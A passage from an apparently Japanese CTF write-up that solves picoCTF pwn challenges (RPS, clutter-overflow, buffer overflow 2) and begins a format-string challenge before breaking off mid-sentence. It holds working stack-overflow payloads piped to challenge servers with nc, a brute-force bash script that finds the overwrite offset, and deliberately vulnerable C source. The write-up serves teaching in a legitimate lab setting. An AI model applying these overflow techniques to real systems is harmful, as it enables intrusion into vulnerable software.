picoCTF{dummy}
Segmentation fault (core dumped)
ダミーのflag.txt
からpicoCTF{dummy}
というダミーのフラグが読み出されているのが確認できる。
※ちなみに最初はpython3 -c 'print("a" * 36 + "\xf6\x91\x04\x08")' | ./vuln
で試してみたのだが、上手くエクスプロイト・コードがプログラムに送られなかった。
エクスプロイト・コードを遠隔のサーバーに送ったところ、フラグを取れた。
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | nc saturn.picoctf.net 54761
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xf6\x91\x04\x08' | nc saturn.picoctf.net 54761
Please enter your string:
Okay, time to return... Fingers Crossed... Jumping to 0x804932f
picoCTF{ad<REDACTED>70}
※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。
※タイミングによってはエクスプロイト・コードを送っても一発ではフラグが読み出されない場合がある。その場合、フラグが読み出されるまでエクスプロイト・コードを送り続ける必要がある。
RPS (200points)
遠隔のサーバー上で実行されているプログラムの不備を突いてフラグを取得する問題。
プログラムのソースコードgame-redacted.c
を渡される。
#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <string.h>
#include <time.h>
#include <unistd.h>
#include <sys/time.h>
#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};
char* loses[3] = {"paper", "scissors", "rock"};
int wins = 0;
int tgetinput(char *input, unsigned int l)
{
fd_set input_set;
struct timeval timeout;
int ready_for_reading = 0;
int read_bytes = 0;
if( l <= 0 )
{
printf("'l' for tgetinput must be greater than 0\n");
return -2;
}
/* Empty the FD Set */
FD_ZERO(&input_set );
/* Listen to the input descriptor */
FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */
timeout.tv_sec = WAIT; // WAIT seconds
timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */
ready_for_reading = select(1, &input_set, NULL, NULL, &timeout);
/* Here, first parameter is number of FDs in the set,
* second is our FD set for reading,
* third is the FD set in which any write activity needs to updated,
* which is not required in this case.
* Fourth is timeout
*/
if (ready_for_reading == -1) {
/* Some error has occured in input */
printf("Unable to read your input\n");
return -1;
}
if (ready_for_reading) {
read_bytes = read(0, input, l-1);
if(input[read_bytes-1]=='\n'){
--read_bytes;
input[read_bytes]='\0';
}
if(read_bytes==0){
printf("No data given.\n");
return -4;
} else {
return 0;
}
} else {
printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n");
return -3;
}
return 0;
}
bool play () {
char player_turn[100];
srand(time(0));
int r;
printf("Please make your selection (rock/paper/scissors):\n");
r = tgetinput(player_turn, 100);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
}
int main () {
char input[3] = {'\0'};
int command;
int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors");
puts("For anyone that beats me 5 times in a row, I will offer up a flag I found");
puts("Are you ready?");
while (true) {
puts("Type '1' to play a game");
puts("Type '2' to exit the program");
r = tgetinput(input, 3);
// Timeout on user input
if(r == -3)
{
printf("Goodbye!\n");
exit(0);
}
if ((command = strtol(input, NULL, 10)) == 0) {
puts("Please put in a valid number");
} else if (command == 1) {
printf("\n\n");
if (play()) {
wins++;
} else {
wins = 0;
}
if (wins >= 5) {
puts("Congrats, here's the flag!");
puts(flag);
}
} else if (command == 2) {
return 0;
} else {
puts("Please type either 1 or 2");
}
}
return 0;
}
上記は簡単なジャンケン・ゲームのプログラムである。プレーヤーはrock/paper/scissors
のいずれかを入力し、5回連続で勝てばフラグを読み出せる模様。
このプログラムにはいくつか不備がある。
まずはジャンケンの勝利判定のロジックである。以下は問題のコード部分。
int computer_turn = rand() % 3;
printf("You played: %s\n", player_turn);
printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) {
puts("You win! Play again?");
return true;
} else {
puts("Seems like you didn't win this time. Play again?");
return false;
}
プレーヤーの入力したジャンケンの手とコンピューターのジャンケンの手をstrstr()
で検証し、結果が真だった場合、プレーヤーの勝利となる。
strstr()
はstr1
の中で最初に現れるstr2
の位置を返す。str1
の中にstr2
が見つからなかった場合はNULLを返す。今回の場合、str1
はプレーヤーのジャンケンの手 (player_turn
)を指し、str2
はコンピューターのジャンケンの手 (loses[computer_turn]
)を指す。
strstr(player_turn, loses[computer_turn])
配列loses[]
はプログラムの冒頭で定義されている。
char* loses[3] = {"paper", "scissors", "rock"};
そして、このプログラムはプレーヤーがrock/paper/scissors
のいずれかを入力することを想定しているものの、入力値のチェックを行なっていない。
なのでジャンケンの手としてrock/paper/scissors
の3つの手をまとめて入力できてしまう。
すると、どうなるか。
strstr('rock/paper/scissors', loses[computer_turn])
コンピューターのジャンケンの手 (str2
)はランダムで決定されるが、プレーヤーの手 (str1
) は3つ全ての手を含んでいるためstrstr()
の判定は常に真となり、常にジャンケンに勝つことができる。
ジャンケンの手としてrock/paper/scissors
を5回連続で入力したところフラグを取れた。
Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1
Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: rock
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1
Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: paper
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1
Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: scissors
You win! Play again?
Type '1' to play a game
Type '2' to exit the program
1
1
Please make your selection (rock/paper/scissors):
rock/paper/scissors
rock/paper/scissors
You played: rock/paper/scissors
The computer played: paper
You win! Play again?
Congrats, here's the flag!
picoCTF{50<REDACTED>8}
clutter-overflow (150points)
遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。
プログラムの実行ファイルchall
とソースコードchall.c
を渡される。
chall
は64ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。
$ sudo checksec.sh --file=chall RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 69 Symbols No 0 2 chall
続いてソースコードchall.c
を確認してみた。
#include <stdio.h>
#include <stdlib.h>
#define SIZE 0x100
#define GOAL 0xdeadbeef
const char* HEADER =
" ______________________________________________________________________\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |\n"
"|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|\n"
"| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \\^ ^ |\n"
"|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \\ ^ _ ^ / | | \\^ ^|\n"
"| ^/_\\^ ^ ^ /_________\\^ ^ ^ /_\\ | // | /_\\ ^| | ____ ____ | | ^ |\n"
"|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|\n"
"| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |\n"
"|^ ^ ^ ^ ^| / ( \\ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \\|^ ^|\n"
".-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |\n"
"| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\\ |^ ^|\n"
"| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |\n"
"|'.____'_^||/!\\@@@@@/!\\|| _'______________.'|== =====\n"
"|\\|______|===============|________________|/|\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\" ||\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"||\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\" \n"
"\"\"''\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"''\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\n"
"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"\"";
int main(void)
{
long code = 0;
char clutter[SIZE];
setbuf(stdout, NULL);
setbuf(stdin, NULL);
setbuf(stderr, NULL);
puts(HEADER);
puts("My room is so cluttered...");
puts("What do you see?");
gets(clutter);
if (code == GOAL) {
printf("code == 0x%llx: how did that happen??\n", GOAL);
puts("take a flag for your troubles");
system("cat flag.txt");
} else {
printf("code == 0x%llx\n", code);
printf("code != 0x%llx :(\n", GOAL);
}
return 0;
}
このプログラムはユーザーからの入力を受け取った後、変数code
と変数GOAL
の値を比較し、両者が一致した場合はflag.txt
からフラグを読み出す。
変数code
の初期値は0
(long code = 0;
) で、変数GOAL
の値は0xdeadbeef
(#define GOAL 0xdeadbeef
) である。
普通にプログラムを実行しても変数code
の値はユーザーからは書き換えられないので、フラグを読み出すことは出来ない。
しかし、このプログラムはユーザーからの入力をgets()
で受け取っている。
gets(clutter);
gets()
はバッファオーバーフローに対して脆弱なので、gets()
をオーバーフローさせて変数code
の値を0xdeadbeef
に書き換えることが出来ればフラグを取れる。
ユーザーの入力を格納するバッファclutter
は最大で256バイトのデータを受け取れる。
#define SIZE 0x100
.
.
.
char clutter[SIZE];
よって、gets()
をオーバーフローさせて変数code
の値を書き換えるためのエクスプロイト・コードは以下のような構成になる。
[clutterのバッファサイズ 256バイト] + [RBPポインタのサイズ 8バイト] + [0xdeadbeef 4バイト]
ローカルマシンにダミーのflag.txt
を用意して検証してみた。
以下のエクスプロイト・コードでフラグを読み取ることができた。
echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | ./chall
$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | ./chall
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{dummy}
変数code
の値が0xdeadbeef
に書き換えられ、ダミーのフラグpicoCTF{dummy}
が読み出されているのが確認できる。
続いて同様のエクスプロイト・コードを遠隔のサーバーに送ってみたのだが、エクスプロイトは成功したのに何故か肝心のフラグが読み出されなかった。
$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | nc mars.picoctf.net 31890
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
色々試した結果、picoCTFのWebshellターミナルからエクスプロイト・コードを送ったところフラグが読み出された。
username-picoctf@webshell:~$ echo -e "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\xef\xbe\xad\xde" | nc mars.picoctf.net 31890
______________________________________________________________________
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |
|^ ^ ^ ^ ^ ^ |L L L L|^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ==================^ ^ ^|
| ^ ^ ^ ^ ^ ^| L L L | ^ ^ ^ ^ ^ ^ ___ ^ ^ ^ ^ / \^ ^ |
|^ ^_^ ^ ^ ^ =========^ ^ ^ ^ _ ^ / \ ^ _ ^ / | | \^ ^|
| ^/_\^ ^ ^ /_________\^ ^ ^ /_\ | // | /_\ ^| | ____ ____ | | ^ |
|^ =|= ^ =================^ ^=|=^| |^=|=^ | | {____}{____} | |^ ^|
| ^ ^ ^ ^ | ========= |^ ^ ^ ^ ^\___/^ ^ ^ ^| |__%%%%%%%%%%%%__| | ^ |
|^ ^ ^ ^ ^| / ( \ | ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ |/ %%%%%%%%%%%%%% \|^ ^|
.-----. ^ || ) ||^ ^.-------.-------.^| %%%%%%%%%%%%%%%% | ^ |
| |^ ^|| o ) ( o || ^ | | | | /||||||||||||||||\ |^ ^|
| ___ | ^ || | ( )) | ||^ ^| ______|_______|^| |||||||||||||||lc| | ^ |
|'.____'_^||/!\@@@@@/!\|| _'______________.'|== =====
|\|______|===============|________________|/|""""""""""""""""""""""""""
" ||""""||"""""""""""""""||""""""""""""""||"""""""""""""""""""""""""""""
""''""""''"""""""""""""""''""""""""""""""''""""""""""""""""""""""""""""""
""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
"""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""
My room is so cluttered...
What do you see?
code == 0xdeadbeef: how did that happen??
take a flag for your troubles
picoCTF{c0<REDACTED>3r}
buffer overflow 2 (300points)
遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。
プログラムの実行ファイルvuln
とソースコードvuln.c
を渡される。
vuln
は32ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。
$ sudo checksec.sh --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 77 Symbols No 0 3 vuln
続いてソースコードvuln.c
を確認してみた。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#define BUFSIZE 100
#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) {
char buf[FLAGSIZE];
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,FLAGSIZE,f);
if (arg1 != 0xCAFEF00D)
return;
if (arg2 != 0xF00DF00D)
return;
printf(buf);
}
void vuln(){
char buf[BUFSIZE];
gets(buf);
puts(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
gid_t gid = getegid();
setresgid(gid, gid, gid);
puts("Please enter your string: ");
vuln();
return 0;
}
上記のプログラムではユーザーの入力をバッファオーバーフローに対して脆弱なgets()
で受け取る。
gets()
をオーバーフローさせて、win()
関数を0xCAFEF00D
と0xF00DF00D
という引数つきで実行することが出来ればフラグを取れる模様。
win()
のアドレスは0x08049296
である。
$ objdump -d -M intel vuln | grep win
08049296 <win>:
80492cc: 75 2a jne 80492f8 <win+0x62>
8049313: 75 1a jne 804932f <win+0x99>
804931c: 75 14 jne 8049332 <win+0x9c>
804932d: eb 04 jmp 8049333 <win+0x9d>
8049330: eb 01 jmp 8049333 <win+0x9d>
ひとまず、gets()
を何バイト オーバーフローさせればwin()
に制御を移すことができるか確認してみることにした。
以下のスクリプトを書いて実行した。
#!/bin/bash
## A super lazy script to perform stack buffer overflow and overwrite EIP
target_program='./vuln'
target_address='\x96\x92\x04\x08'
#targe_server='nc example.com 8888' ## Uncomment this section if the target program is hosted on remote server.
for i in {1..300};
do
echo $i
garbage_data=$(yes 'a' | head -n $i | tr -d '\n')
echo "Sending exploit: $garbage_data$target_address"
echo -e $garbage_data$target_address | $target_program
#echo -e $garbage_data$target_address | $target_server
done
以下、実行結果。
./stack_smasher.sh | grep -C 5 'flag.txt'
$ ./stack_smasher.sh | grep -C 5 'flag.txt'
./stack_smasher.sh: line 10: 74960 Done echo -e $garbage_data$target_address
74961 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 74967 Done echo -e $garbage_data$target_address
74968 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 74974 Done echo -e $garbage_data$target_address
74975 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 74981 Done echo -e $garbage_data$target_address
74982 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 74988 Done echo -e $garbage_data$target_address
74989 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 74995 Done echo -e $garbage_data$target_address
74996 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 75002 Done echo -e $garbage_data$target_address
75003 Segmentation fault (core dumped) | $target_program
./stack_smasher.sh: line 10: 75009 Done echo -e $garbage_data$target_address
75010 Segmentation fault (core dumped) | $target_program
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��
112
Sending exploit: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08
Please enter your string:
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��
Please create 'flag.txt' in this directory with your own debugging flag.
win()
は最初にflag.txt
がシステム上に存在するか確認し、存在しない場合はPlease create 'flag.txt' in this directory with your own debugging flag.
というメッセージを表示する。つまり、gets()
をオーバーフローさせ、このメッセージが表示されればwin()
に制御が移ったと判断できる。
上記のスクリプトの実行結果より、gets()
が受け取るbuf
バッファの先頭112バイトを埋め尽くした後、win()
のアドレス 0x08049296
を渡すとwin()
を呼び出せることが分かった。
以下はgets()
をオーバーフローさせてwin()
を呼び出すためのエクスプロイト・コードである。
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08' | ./vuln
しかし、今回はwin()
を0xCAFEF00D
と0xF00DF00D
という引数つきで実行しなければならないため、上記のエクスプロイト・コードにもう一工夫加える必要がある。
以下はwin()
がcallされた時のスタック内部の図である。
Low Address
+----------------------------------------------+
| return address |
+----------------------------------------------+
| arg1 |
+----------------------------------------------+
| arg2 |
+----------------------------------------------+
High Address
まず、win()
のcall命令の直前に第二引数と第一引数がスタックに積まれる。そしてcall命令が実行されると、スタックの最上位にはwin()
の実行が完了した後の次の命令のアドレスがリターンアドレスとして積まれる。
よってgets()
をオーバーフローさせてwin()
を0xCAFEF00D
と0xF00DF00D
という引数つきで実行するためのエクスプロイト・コードは以下のような構成になる。
[ゴミ・データ 112バイト] + [win()のアドレス 0x08049296 4バイト] + [リターンアドレス 4バイト] + [第一引数 0xCAFEF00D 4バイト] + [第二引数 0xF00DF00D 4バイト]
以下が実際のエクスプロイト・コードである。※今回はwin()
が実行された後はプログラムの実行を続ける必要がないため、リターンアドレスの領域はaaaa
で埋め尽くした。
echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' | ./vuln
ローカルマシンにダミーのflag.txt
を用意して検証してみた。
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' | ./vuln
Please enter your string:
��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��aaaa
picoCTF{dummy}
Segmentation fault (core dumped)
ダミーのフラグpicoCTF{dummy}
が読み出されているのが確認できる。
同様のエクスプロイト・コードをサーバーに送ったところ、フラグを取れた。
$ echo -e 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\x96\x92\x04\x08aaaa\x0D\xF0\xFE\xCA\x0D\xF0\x0D\xF0' | nc saturn.picoctf.net 55807
Please enter your string:
��aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa��aaaa
picoCTF{ar<REDACTED>a}
※サーバーのポート番号はサーバー・インスタンスの起動の度に変更される。
flag leak (300points)
遠隔のサーバー上で実行されているプログラムの脆弱性を突いてフラグを取得する問題。
プログラムの実行ファイルvuln
とソースコードvuln.c
を渡される。
vuln
は32ビットのELFファイルだった。checksecで確認したところPIEとstack canaryが無効化されていた。
$ sudo checksec.sh --file=vuln
RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE
Partial RELRO No canary found NX enabled No PIE No RPATH No RUNPATH 78 Symbols No 0 2 vuln
続いてソースコードvuln.c
を確認してみた。
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <wchar.h>
#include <locale.h>
#define BUFSIZE 64
#define FLAGSIZE 64
void readflag(char* buf, size_t len) {
FILE *f = fopen("flag.txt","r");
if (f == NULL) {
printf("%s %s", "Please create 'flag.txt' in this directory with your",
"own debugging flag.\n");
exit(0);
}
fgets(buf,len,f); // size bound read
}
void vuln(){
char flag[BUFSIZE];
char story[128];
readflag(flag, FLAGSIZE);
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story);
printf("\n");
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);
// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
return 0;
}
このプログラムはユーザーの入力値をscanf()
で受け取り、printf()
で出力する。
printf("Tell me a story and then I'll tell you one >> ");
scanf("%127s", story);
printf("Here's a story - \n");
printf(story); // vulnerable to format string attack
printf("\n");
しかしprintf()
